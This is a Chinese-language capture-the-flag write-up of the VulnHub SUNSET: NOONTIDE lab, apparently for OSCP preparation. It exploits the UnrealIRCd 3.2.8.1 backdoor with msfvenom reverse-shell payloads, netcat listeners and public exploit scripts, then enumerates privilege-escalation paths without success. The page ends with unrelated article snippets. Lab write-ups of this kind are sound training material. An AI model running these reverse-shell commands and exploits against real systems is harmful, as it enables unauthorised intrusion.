靶场实战(14):OSCP备考之VulnHub SUNSET NOONTIDE

打靶思路

  1. 资产发现

    1. 主机发现

    2. 服务发现

  2. 漏洞发现(获取权限)

    1. irc服务

  3. 提升权限

    1. server用户

      1. sudo

      2. suid

      3. cron

      4. 内核提权

      5. 信息收集

1、资产发现

1.1、主机发现

本次靶场SUNSET: NOONTIDE[1]指定IP,不涉及主机发现过程。

1.2、服务发现

使用命令sudo -u root 172.16.33.78 -n -Pn -p- --reason -sV -sC -O,发现主机开放的端口、提供的服务、使用的组件、组件的版本。

1885e3a4bc70dd94d2deb8327dc14a39.png

开放的端口

提供的服务

使用的组件

组件的版本

6667/tcp

irc

UnrealIRCd

?

6697/tcp

irc

UnrealIRCd

?

8067/tcp

irc

UnrealIRCd

?

-

os

?

?

2、漏洞发现(获取权限)

2.1、irc服务

0x01

主机只使用UnrealIRCd组件提供irc服务,看来要么从这突破,要么放弃。使用命令searchsploit UnrealIRCd,发现3.2.8.1版本的UnrealIRCd组件存在RCE漏洞。

e3255877233070932a635c4f061afbfc.png

查看Metasploitable2系列练习-漏洞利用之UnrealIRCd[2],得知可以使用hexchat查看UnrealIRCd组件的版本。使用命令sudo apt-get install -y hexchat安装hexchat,使用命令hexchat 172.16.33.78连接irc服务,发现UnrealIRCd组件的版本刚好就是存在RCE漏洞的3.2.8.1。

9f91fbe1c7bbfb68b6040aac701bf238.png

0x02

使用命令searchsploit -m 13853将EXP拷贝到当前目录。

ccde17f98eb293ff5e3dc0e9b9da7d14.png

使用命令msfvenom -p cmd/unix/reverse_perl LHOST=10.8.0.110 LPORT=4444 -f raw创建perl环境的Payload。

f48cf8f46eb800750adaab98bae4147f.png

使用命令vim 13853.pl将Payload添加到EXP中,注意引号的转义和结尾的分号。

b87bffb79278a203da377441ad76c534.png

使用命令nc -nvlp 4444监听反弹shell,使用命令perl 13853.pl 172.16.33.78 <端口> 1利用RCE漏洞发起反弹shell,均未获得反弹shell,难道目标机器上没有perl环境?

cdb1b420b11355a6c23cb45150adb1ea.png

0x03

使用命令msfvenom -p cmd/unix/reverse_bash LHOST=10.8.0.110 LPORT=4444 -f raw创建bash环境的Payload。

86d0e1d2f6ac0ed75c32bed62f7a9ea3.png

使用命令vim 13853.pl将Payload添加到EXP中,注意引号的转义和结尾的分号。

432c53f70f5a0d56d6f8334729b6c2a5.png

使用命令nc -nvlp 4444监听反弹shell,使用命令perl 13853.pl 172.16.33.78 <端口> 2利用RCE漏洞发起反弹shell,均未获得反弹shell,难道是EXP不行?

c465bcd5fc64dac60782e114df397ab8.png

0x04

网上找到EXPRanger11Danger/UnrealIRCd-3.2.8.1-Backdoor/exploit.py[3],使用命令vim exploit.py修改本地监听的IP和端口后,使用命令python3 exploit.py -payload <脚本语言> <目标IP> <目标端口>构造命令进行利用,最终使用python3 exploit.py -payload bash 172.16.33.78 6697成功获得反弹shell。

1fa6960578e8cec879b244202247e3b1.png

8e000d8e93fafd948edeeeb98603193e.png

d2d56c6cc09f9aa00666d106cd8958ea.png

0x05

网上找到EXPgeek-repo/UnrealIRCd-3.2.8.1/poc.py[4],使用命令vim poc.py修改源目IP端口后,构造命令python2 poc.py进行利用,最终成功获得server用户的反弹shell。

54d59f06a512b7d8c35dc339af5ab1fa.png

23205035558e9e197073a6c38fbe013e.png

fe3e4a2d896650e5ba7673009e49e4a6.png

3、提升权限

首先使用命令which pythonwhich python3发现有Python3环境,然后使用python3 -c 'import pty; pty.spawn("/bin/bash")'获得交换式shell。

0e3995c825f5d3d3b8dd6fd4083c65da.png

3.1、server用户

3.1.1、sudo

使用命令sudo -l查看当前用户能以谁的权限执行什么命令,发现不存在sudo命令。使用命令which sudo确认确实不存在。

029c262ff45caf54be48b380a1b3c3b0.png

3.1.2、suid

使用命令find / -perm -u=s -type f -ls 2>/dev/null查看哪些命令在执行时会以命令属主的权限执行,发现还挺多。逐个在GTFOBins[5]查询是否可用于提权,发现都不行。

9abf7224c2a188a42943ebc090022d20.png

3.1.3、cron

使用命令find /var/spool/cron/ -type f -ls 2>/dev/null查看定时任务,发现没有。使用命令find /var/spool/cron/ -type f -ls不隐藏报错,发现是没有查看权限。

4bf04fca60ebdbaf30bc7ef9f6fc5853.png

使用命令find /etc/*cron* -type f -ls查看定时任务,发现还挺多。使用命令find /etc/*cron* -type f -ls 2>/dev/null -exec cat {} \; > /tmp/cron.txtgrep '\*' /tmp/cron.txt查看定时任务内容,未发现有引用当前用户具有read和write权限的命令或脚本。

c3838ef374a3da20115186f95c5261d4.png

使用命令find / -perm -o=rw ! -path "/proc/*" -type f -ls 2>/dev/null查看other用户具有read和write权限的命令或脚本,发现有一些,但未发现有可能被定时任务引用的迹象。

519a4f09a28e4069f286dda391373e10.png

3.1.4、内核提权

使用命令uname -r获取系统内核版本4.19.0,使用命令cat /etc/*release获取系统发行版本Debian Linux 10

ffe6bbdd63152304f294c6220a175e7b.png

使用命令searchsploit 4. Debian Linux 10,未发现存在本地提权漏洞。

15034d852bb866d3d617765736378a00.png

3.1.5、信息收集

使用命令find /root/ -type f -ls 2>/dev/null查看特权用户目录下的文件,无收获。使用命令find /home/ ! -path "/home/server/irc/*" -type f -ls 2>/dev/null查看普通用户目录下的文件,无收获。使用命令find /tmp/ -type f -ls 2>/dev/null查看临时目录下的文件,无收获。

b5ad6be7fa8f3631d95768194f835f63.png

查看irc服务的配置文件和日志文件,最终在/home/server/irc/Unreal3.2/ircd.log中发现连接记录Connect - root!root@192.168.100.139,疑似获得账户密码root/root,不过使用命令su root切换到root账户时却报错,看来密码被改过了。但是查看WriteUp,确实又是使用账户密码root/root获得提权的,看来这靶机有问题呀。

6fff416f2a5529315fa3470dc5e24d67.png

f484723e50ea2d3f5f0e4f67cd957d64.png

3.1.6、使用工具

靶机使用命令nc -nvlp 4444 > /tmp/linpeas.sh接收文件,本地使用命令nc -nv 172.16.33.78 4444 < linpeas.sh发送文件后使用命令Ctrl+C关闭连接,靶机使用命令chmod +x /tmp/linpeas.sh赋予脚本执行权限后使用命令/tmp/linpeas.sh执行脚本。逐个查看脚本报告,未发现可以提权的漏洞,提权失败。

4871662ba17a7b6468d774f23c2585ae.png

13beb224f8a10edaf89d007999c3e306.png

d24292e9d4f0eb6cea02b57c6762d0ea.png

参考资料

[1]

SUNSET: NOONTIDE: https://www.vulnhub.com/entry/sunset-noontide,531/

[2]

Metasploitable2系列练习-漏洞利用之UnrealIRCd: https://chujian521.github.io/blog/2020/04/28/Metasploitable2系列练习-漏洞利用之UnrealIRCd/

[3]

Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor/exploit.py: https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor/blob/master/exploit.py

[4]

geek-repo/UnrealIRCd-3.2.8.1/poc.py: https://github.com/geek-repo/UnrealIRCd-3.2.8.1

[5]

GTFOBins: https://gtfobins.github.io

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/344506.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

3d云渲染用什么显卡比较好?3d云渲染显卡推荐

3D云渲染能加快渲染速度&#xff0c;是众多公司的首选方案&#xff0c;作为公司负责人&#xff0c;选择哪个平台值得思考&#xff0c;今天我就说下我的选择吧。 首先我们要了解云渲染的渲染方式&#xff0c;云渲染的渲染方式分两种&#xff0c;一种是CPU渲染&#xff0c;一种是…

架构04-架构的分层

技术框架是一个可重复使用的设计&#xff0c;用于构建整个或部分技术系统&#xff0c;包括一组抽象构件和这些构件实例之间的交互方法。它可以被技术开发者定制为应用的骨架&#xff0c;以满足特定的目标和需求。 从技术层面来描述&#xff0c;技术框架通常采用分层模型。以下…

【VRTK】【Unity】【游戏开发】更多技巧

课程配套学习项目源码资源下载 https://download.csdn.net/download/weixin_41697242/88485426?spm=1001.2014.3001.5503 【概述】 本篇将较为零散但常用的VRTK开发技巧集合在一起,主要内容: 创建物理手震动反馈高亮互动对象【创建物理手】 非物理手状态下,你的手会直接…

Redis-浅谈redis.conf配置文件

Redis.conf Redis.conf是Redis的配置文件&#xff0c;它包含了一系列用于配置Redis服务器行为和功能的选项。 以下是Redis.conf中常见的一些选项配置&#xff1a; bind: 指定Redis服务器监听的IP地址&#xff0c;默认为127.0.0.1&#xff0c;表示只能本地访问&#xff0c;可以…

不同activity项目创建时的区别

在 Android Studio 中创建项目时&#xff0c;可以选择创建不同类型的 Activity 作为应用程序的入口点。其中&#xff0c;包括 Empty Activity、Basic Activity、Empty Compose Activity 和 Basic Compose Activity 四种类型。 Empty Activity&#xff1a;这是最简单的 Activity…

运动模型非线性扩展卡尔曼跟踪融合滤波算法(Matlab仿真)

卡尔曼滤波的原理和理论在CSDN已有很多文章&#xff0c;这里不再赘述&#xff0c;仅分享个人的理解和Matlab仿真代码。 1 单目标跟踪 匀速转弯&#xff08;CTRV&#xff09;运动模型下&#xff0c;摄像头输出目标状态camera_state [x, y, theta, v]&#xff0c;雷达输出目标状…

IDEA创建springboot+mybatis项目(java8 和java21可行)

IDEA创建springbootmybatis项目&#xff08;java8 和java21可行&#xff09; 今天博主讲一下&#xff0c;IDEA创建springbootmybatis项目的文章。 步骤分别是如下几步&#xff1a; 1. 创建maven项目 2. 配置pom.xml文件 3. 创建目录结构 4. 创建配置项目文件 5. 生成创建…

[前车之鉴] SpringBoot原生使用Hikari数据连接池升级到动态多数据源的深坑解决方案 RocketMQ吞掉异常问题排查

文章目录 背景说明蒙蔽双眼口说无凭修补引发的新问题解决配置问题 本地监控佐证万法归元 背景说明 当前业务场景我们使用原生SpringBoot整合Hikari数据源连接池提供服务&#xff0c;但是近期业务迭代需要使用动态多数据源&#xff0c;很自然想到dynamic-source&#xff0c;结果…

如何把本地项目一次性上传github(避免一个一个上传)

一、方法如下&#xff08;亲测有效&#xff09;&#xff1a; 如何把本地项目上传github_本地已有工程上传github-CSDN博客 执行成功截图如下&#xff1a; 二、如果按照上面链接遇到问题&#xff1a; 问题0&#xff1a; 上面链接方法最后一步执行后&#xff0c;提示不能访问g…

OpenssH 漏洞修复

文章目录 OpenSSH 漏洞修复需求&#xff1a;准备环境配置阿里云yum源关闭防火墙 && SELinux安装 telnet-server安装 zlib 软件包安装OpenssL安装 OpenssH报错信息 OpenSSH 漏洞修复 场景&#xff1a; CentOS Stream 9 系统ssh默认版本一般是OpenSSH_8.7p1 &#xff0c;…

【QUARTZ】springboot+quartz动态配置定时任务

Quartz 介绍 Quartz 定时任务可分为Trigger&#xff08;触发器&#xff09;、Job&#xff08;任务&#xff09;和Scheduler&#xff08;调度器&#xff09;&#xff0c;定时任务的逻辑大体为&#xff1a;创建触发器和任务&#xff0c;并将其加入到调度器中&#xff0c;如下图所…

CMake+大漠插件的应用开发——处理dm.dll,免注册调用大漠插件

文章目录 CMake大漠插件的应用开发——处理dm.dll&#xff0c;免注册调用大漠插件说明环境项目结构配置编译环境编码-直接调用 dll编码-生成tlh文件&#xff0c;便于提示 CMake大漠插件的应用开发——处理dm.dll&#xff0c;免注册调用大漠插件 说明 网上有一种使用方式是&am…